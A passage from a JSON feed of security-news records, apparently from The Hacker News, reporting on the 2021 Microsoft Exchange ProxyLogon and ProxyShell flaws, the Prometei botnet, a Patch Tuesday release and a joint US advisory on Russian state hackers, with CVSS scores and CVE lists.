patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>) to address four previously undisclosed security flaws in Exchange Server that it says are being actively exploited by a new Chinese state-sponsored threat actor with the goal of perpetrating data theft.\n\nDescribing the attacks as \"limited and targeted,\" Microsoft Threat Intelligence Center (MSTIC) said the adversary used these vulnerabilities to access on-premises Exchange servers, in turn granting access to email accounts and paving the way for the installation of additional malware to facilitate long-term access to victim environments.\n\nThe tech giant primarily attributed the campaign with high confidence to a threat actor it calls HAFNIUM, a state-sponsored hacker collective operating out of China, although it suspects other groups may also be involved.\n\nDiscussing the tactics, techniques, and procedures (TTPs) of the group for the first time, Microsoft paints HAFNIUM as a \"highly skilled and sophisticated actor\" that mainly singles out entities in the U.S. for exfiltrating sensitive information from an array of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.\n\nHAFNIUM is believed to orchestrate its attacks by leveraging leased virtual private servers in the U.S. in an attempt to cloak its malicious activity.\n\nThe three-stage attack involves gaining access to an Exchange Server either with stolen passwords or by using previously undiscovered vulnerabilities, followed by deploying a web shell to control the compromised server remotely. The last link in the attack chain makes use of remote access to plunder mailboxes from an organization's network and export the collected data to file sharing sites like MEGA.\n\nTo achieve this, as many as [four zero-day vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) discovered by researchers from Volexity and Dubex are used as part of the attack chain \u2014\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>): A server-side request forgery (SSRF) vulnerability in Exchange Server\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>): An insecure deserialization vulnerability in the Unified Messaging service\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>): A post-authentication arbitrary file write vulnerability in Exchange, and\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>): A post-authentication arbitrary file write vulnerability in Exchange\n\nAlthough the vulnerabilities impact Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, and Microsoft Exchange Server 2019, Microsoft said it's updating Exchange Server 2010 for \"Defense in Depth\" purposes.\n\n[](<https://thehackernews.com/images/-_eUnJYSlv7A/YD86dcga76I/AAAAAAAAB7Y/Ex1kb11XGtcD6b878ASeDzA-SFz8SSzNgCLcBGAsYHQ/s0/ms.jpg>)\n\nFurthermore, since the initial attack requires an untrusted connection to Exchange server port 443, the company notes that organizations can mitigate the issue by restricting untrusted connections or by using a VPN to separate the Exchange server from external access.\n\nMicrosoft, besides stressing that the exploits were not connected to the SolarWinds-related breaches, said it has briefed appropriate U.S. government agencies about the new wave of attacks. But the company didn't elaborate on how many organizations were targeted and whether the attacks were successful.\n\nStating that the intrusion campaigns appeared to have started around January 6, 2021, Volexity cautioned it has detected active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal email and compromise networks.\n\n\"While the attackers appear to have initially flown largely under the radar by simply stealing emails, they recently pivoted to launching exploits to gain a foothold,\" Volexity researchers Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, and Thomas Lancaster [explained](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) in a write-up.\n\n\"From Volexity's perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems.\"\n\nAside from the patches, Microsoft Senior Threat Intelligence Analyst Kevin Beaumont has also [created](<https://twitter.com/GossiTheDog/status/1366858907671552005>) a [nmap plugin](<https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse>) that can be used to scan a network for potentially vulnerable Microsoft Exchange servers.\n\nGiven the severity of the flaws, it's no surprise that patches have been rolled out a week ahead of the company's Patch Tuesday schedule, which is typically reserved for the second Tuesday of each month. Customers using a vulnerable version of Exchange Server are recommended to install the updates immediately to thwart these attacks.\n\n\"Even though we've worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems,\" Microsoft's Corporate Vice President of Customer Security, Tom Burt, [said](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>). \"Promptly applying today's patches is the best protection against this attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T07:28:00", "type": "thn", "title": "URGENT \u2014 4 Actively Exploited 0-Day Flaws Found in Microsoft Exchange", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T07:56:35", "id": "THN:9AB21B61AFE09D4EEF533179D0907C03", "href": "https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/---oICK3YQu8/YIJ50RG8cxI/AAAAAAAACWY/KkCLoHke1SsfzdcENBXnq3d4jAZlau0ggCLcBGAsYHQ/s0/malware.jpg>)\n\nAttackers are exploiting the ProxyLogon Microsoft Exchange Server flaws to co-opt vulnerable machines to a cryptocurrency botnet named Prometei, according to new research.\n\n\"Prometei exploits the recently disclosed Microsoft Exchange vulnerabilities associated with the HAFNIUM attacks to penetrate the network for malware deployment, credential harvesting and more,\" Boston-based cybersecurity firm Cybereason [said](<https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities>) in an analysis summarizing its findings.\n\nFirst documented by Cisco Talos in July 2020, [Prometei](<https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html>) is a multi-modular botnet, with the actor behind the operation employing a wide range of specially-crafted tools and known exploits such as EternalBlue and BlueKeep to harvest credentials, laterally propagate across the network and \"increase the amount of systems participating in its Monero-mining pool.\"\n\n\"Prometei has both Windows-based and Linux-Unix based versions, and it adjusts its payload based on the detected operating system, on the targeted infected machines when spreading across the network,\" Cybereason senior threat researcher Lior Rochberger said, adding it's \"built to interact with four different command-and-control (C2) servers which strengthens the botnet's infrastructure and maintains continuous communications, making it more resistant to takedowns.\"\n\nThe intrusions take advantage of the recently patched vulnerabilities in [Microsoft Exchange Servers](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) with the goal of abusing the processing power of the Windows systems to mine Monero.\n\nIn the attack sequence observed by the firm, the adversary was found exploiting Exchange server flaws CVE-2021-27065 and CVE-2021-26858 as an initial compromise vector to install the China Chopper web shell and gain backdoor ingress to the network. With this access in place, the threat actor launched PowerShell to download the initial Prometei payload from a remote server. \n\n[](<https://thehackernews.com/images/-QPt-u63tvwA/YIJ6AaW7GPI/AAAAAAAACWg/z8_YGp_eggY-c6gUKoOyrf5D3cZtnDdzwCLcBGAsYHQ/s0/malware.jpg>)\n\nRecent versions of the bot module come with backdoor capabilities that support an extensive set of commands, including an additional module called \"Microsoft Exchange Defender\" that masquerades as a legitimate Microsoft product, which likely takes care of removing other competing web shells that may be installed on the machine so that Prometei gets access to the resources necessary to mine cryptocurrency efficiently.\n\nInterestingly, newly unearthed evidence gathered from [VirusTotal](<https://www.virustotal.com/gui/file/cf542ada135ee3edcbbe7b31003192c75295c7eff0efe7593a0a0b0f792d5256/details>) [artifacts](<https://www.virustotal.com/gui/file/fdcf4887a2ace73b87d1d906b23862c0510f4719a6c159d1cde48075a987a52f/details>) has revealed that the botnet may have been around as early as May 2016, implying that the malware has constantly been evolving ever since, adding new modules and techniques to its capabilities.\n\nPrometei has been observed in a multitude of victims spanning across finance, insurance, retail, manufacturing, utilities, travel, and construction sectors, compromising networks of entities located in the U.S., U.K., and several countries in Europe, South America, and East Asia, while also explicitly avoiding infecting targets in former [Soviet bloc](<https://en.wikipedia.org/wiki/Eastern_Bloc>) countries.\n\nNot much is known about the attackers other than the fact that they are Russian speaking, with older versions of Prometei having their language code set as \"Russian.\" A separate Tor client module used to communicate with a Tor C2 server included a configuration file that's configured to avoid using several exit nodes located in Russia, Ukraine, Belarus, and Kazakhstan.\n\n\"Threat actors in the cybercrime community continue to adopt APT-like techniques and improve efficiency of their operations,\" Rochberger said. \"As observed in the recent Prometei attacks, the threat actors rode the wave of the recently discovered Microsoft Exchange vulnerabilities and exploited them in order to penetrate targeted networks.\"\n\n\"This threat poses a great risk for organizations, since the attackers have absolute control over the infected machines, and if they wish so, they can steal information, infect the endpoints with other malware or even collaborate with ransomware gangs by selling the access to the infected endpoints,\" she added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-23T07:42:00", "type": "thn", "title": "Prometei Botnet Exploiting Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-23T15:00:17", "id": "THN:F2A3695D04A2484E069AC407E754A9C1", "href": "https://thehackernews.com/2021/04/prometei-botnet-exploiting-unpatched.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-4bW5O7qDy3g/YRY939zQM4I/AAAAAAAADho/RUV3iIGj654Ml8xKhGo8MXIEWtGwsL1ywCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nThreat actors are actively carrying out opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using a new exploit chain leveraging a trio of flaws affecting on-premises installations, making them the latest set of bugs after ProxyLogon vulnerabilities were exploited en masse at the start of the year.\n\nThe remote code execution flaws have been collectively dubbed \"ProxyShell.\" At least 30,000 machines are affected by the vulnerabilities, [according](<https://isc.sans.edu/diary/27732>) to a Shodan scan performed by Jan Kopriva of SANS Internet Storm Center.\n\n\"Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\" NCC Group's Richard Warren [tweeted](<https://twitter.com/buffaloverflow/status/1425831100157349890>), noting that one of the intrusions resulted in the deployment of a \"C# aspx webshell in the /aspnet_client/ directory.\"\n\nPatched in early March 2021, [ProxyLogon](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) is the moniker for CVE-2021-26855, a server-side request forgery vulnerability in Exchange Server that permits an attacker to take control of a vulnerable server as an administrator, and which can be chained with another post-authentication arbitrary-file-write vulnerability, CVE-2021-27065, to achieve code execution.\n\nThe vulnerabilities came to light after Microsoft [spilled the beans](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) on a Beijing-sponsored hacking operation that leveraged the weaknesses to strike entities in the U.S. for purposes of exfiltrating information in what the company described as limited and targeted attacks.\n\nSince then, the Windows maker has fixed six more flaws in its mail server component, two of which are called [ProxyOracle](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/>), which enables an adversary to recover the user's password in plaintext format.\n\nThree other issues \u2014 known as ProxyShell \u2014 could be abused to bypass ACL controls, elevate privileges on Exchange PowerShell backend, effectively authenticating the attacker and allowing for remote code execution. Microsoft noted that both CVE-2021-34473 and CVE-2021-34523 were inadvertently omitted from publication until July.\n\n**ProxyLogon:**\n\n * [**CVE-2021-26855**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26857**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26858**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-27065**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n\n**ProxyOracle:**\n\n * [**CVE-2021-31195**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on May 11)\n * [**CVE-2021-31196**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on July 13)\n\n**ProxyShell:**\n\n * [**CVE-2021-31207**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability (Patched on May 11)\n * [**CVE-2021-34473**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on April 13, advisory released on July 13)\n * [**CVE-2021-34523**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on April 13, advisory released on July 13)\n\n**Other:**\n\n * [**CVE-2021-33768**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on July 13)\n\nOriginally demonstrated at the [Pwn2Own hacking competition](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) this April, technical details of the ProxyShell attack chain were disclosed by DEVCORE researcher Orange Tsai at the [Black Hat USA 2021](<https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442>) and [DEF CON](<https://www.youtube.com/watch?v=5mqid-7zp8k>) security conferences last week. To prevent exploitation attempts, organizations are highly recommended to install updates released by Microsoft.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T09:46:00", "type": "thn", "title": "Hackers Actively Searching for Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T09:46:09", "id": "THN:FA40708E1565483D14F9A31FC019FCE1", "href": "https://thehackernews.com/2021/08/hackers-actively-searching-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-B1GIJUi-Xfc/YEhXRdorEMI/AAAAAAAAB_o/0vVWsLXOqu0OjfRxUmUTUUvsoLhkTBy6QCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft plugged as many as [89 security flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>) as part of its monthly Patch Tuesday updates released today, including fixes for an actively exploited zero-day in Internet Explorer that could permit an attacker to run arbitrary code on target machines.\n\nOf these flaws, 14 are listed as Critical, and 75 are listed as Important in severity, out of which two of the bugs are described as publicly known, while five others have been reported as under active attack at the time of release.\n\nAmong those five security issues are a clutch of vulnerabilities known as [ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) that allows adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access.\n\nBut in the wake of Exchange servers coming under [indiscriminate assault](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) toward the end of February by multiple threat groups looking to exploit the vulnerabilities and plant backdoors on corporate networks, Microsoft took the unusual step of releasing out-of-band fixes a week earlier than planned.\n\nThe ramping up of [mass exploitation](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) after Microsoft released its updates on March 2 has led the company to deploy [another series of security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) targeting [older and unsupported](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) cumulative updates that are vulnerable to ProxyLogon attacks.\n\nAlso included in the mix is a patch for zero-day in Internet Explorer (CVE-2021-26411) that was discovered as exploited by North Korean hackers to [compromise security researchers](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) working on vulnerability research and development earlier this year.\n\nSouth Korean cybersecurity firm ENKI, which publicly [disclosed](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) the flaw early last month, claimed that North Korean nation-state hackers made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer.\n\nAside from these actively exploited vulnerabilities, the update also corrects a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-26877 and CVE-2021-26897, CVSS scores 9.8), Hyper-V server (CVE-2021-26867, CVSS score 9.9), SharePoint Server (CVE-2021-27076, CVSS score 8.8), and Azure Sphere (CVE-2021-27080, CVSS score 9.3).\n\nCVE-2021-26877 and CVE-2021-26897 are notable for a couple of reasons. First off, the flaws are rated as \"exploitation more likely\" by Microsoft, and are categorized as zero-click vulnerabilities of low attack complexity that require no user interaction.\n\nAccording to [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>), the vulnerabilities stem from an out of bounds read (CVE-2021-26877) and out of bounds write (CVE-2021-26897) on the heap, respectively, during the processing of [Dynamic Update](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>) packets, resulting in potential arbitrary reads and RCE.\n\nFurthermore, this is also the second time in a row that Microsoft has addressed a critical RCE flaw in Windows DNS Server. Last month, the company rolled out a fix for [CVE-2021-24078](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) in the same component which, if unpatched, could permit an unauthorized party to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T05:37:00", "type": "thn", "title": "Microsoft Issues Security Patches for 89 Flaws \u2014 IE 0-Day Under Active Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24078", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26877", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27080"], "modified": "2021-08-13T09:07:37", "id": "THN:BC8A83422D35DB5610358702FCB4D154", "href": "https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", 